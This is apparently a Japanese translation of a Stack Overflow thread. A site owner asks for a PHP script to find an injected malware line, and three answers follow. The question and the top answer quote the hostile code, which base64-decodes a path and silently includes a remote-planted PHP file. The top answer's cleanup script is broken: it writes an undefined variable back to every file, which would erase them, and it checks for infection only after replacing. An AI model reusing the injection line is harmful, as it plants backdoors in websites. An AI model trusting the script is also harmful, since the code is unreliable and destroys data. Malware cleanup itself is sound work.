1

OK、私はphpにかなり慣れていませんが、ディレクトリとファイルを読み取ることができることを知っています。

サイトの 1 つでマルウェアの問題に取り組んでおり、ホスト スペースでマルウェアを検索するスクリプトを作成する必要があります。

ハッカーがファイルに入れているコードは

*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>

これが何であるかはわかりませんが、これが表示されると、Google が私のサイトをブロックします。

すべてのファイルをダウンロードしてから、dreamweaver で検索する必要があります。このがらくたをスペースに置き換えて元に戻します。

Googleが行う前にこれを検出するスクリプトが必要です。

誰かが私にいくつかの指針を与えることができれば、それは素晴らしいことです

これは、誰もが直面する問題であると確信しています。

4

3 に答える 3

1

指定した文字列を見つけて置き換える純粋な PHP ソリューション。または、変更されたファイルを取得することもできます。注: このコードを使用する場合、元に戻すオプションはありません。自己責任で使用してください。

$dir = '/your_dir/';
$searchstring = '*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>'

$iterator = new RecursiveDirectoryIterator($dir);

foreach (new RecursiveIteratorIterator($iterator) as $filename => $cur) 
{
    // Search and replace

    $contents = file_get_contents($filename);   
    $contents = str_replace($searchstring, ' ', $content);  
    file_put_contents($filename, $contents);

    // Alternatively, you can do this (instead of search and replace)

    if(strpos($contents, $searchstring) !== false)
    {
        $infected[] = $filename; // gives you an array that gives you paths to files that contain the injected code.
    }
}

スクリプトは、ブラウザまたはコマンド ラインから実行できます。これが最良の選択肢だと言っているわけではありません。

于 2011-05-11T08:52:06.730 に答える
0

FTP ですべてをダウンロードし、完全なディレクトリの検索と置換を実行します (dreamweaver は完全なディレクトリをサポートしています)。私はかつてこの問題を抱えていました.コード内のjavascriptハックも探したいと思うかもしれません.javascriptインクルードも行う傾向があります.

ハック コードは、次のファイルをインクルードしようとします。

/home/users/web/b1643/sl.thechess/public_html/MedcourtBackupoct2007/MedcourtBackupoct2007-2/b2b customer/Bubblepost Back up/public_html/Backups/Mediasuface 2005/Help and documentation/java api/JavaAPI/com/mediasurface/datatypes/searching/class-use/tsdeo.php

これは何ですか?わかりませんが、それがやろうとしていることです。したがって、このハッキングは、ホストされているサーバー内から行われると考えるかもしれません。

于 2011-05-11T08:40:28.163 に答える
0

SSH アクセスがある場合は、「eval(base64_decode」を「base64_decode」に置き換えるだけで、次のようなコマンドを使用できます。

そうでない場合は、readdirを使用してすべてのファイルを再帰ループするスクリプトを作成し、 strposマジックを使用して「base64_decode」を検出する必要があります。

本当に問題がある場合は、sucuriのようなサードパーティのサービスをお勧めします。

幸運を!

于 2011-05-11T08:40:29.150 に答える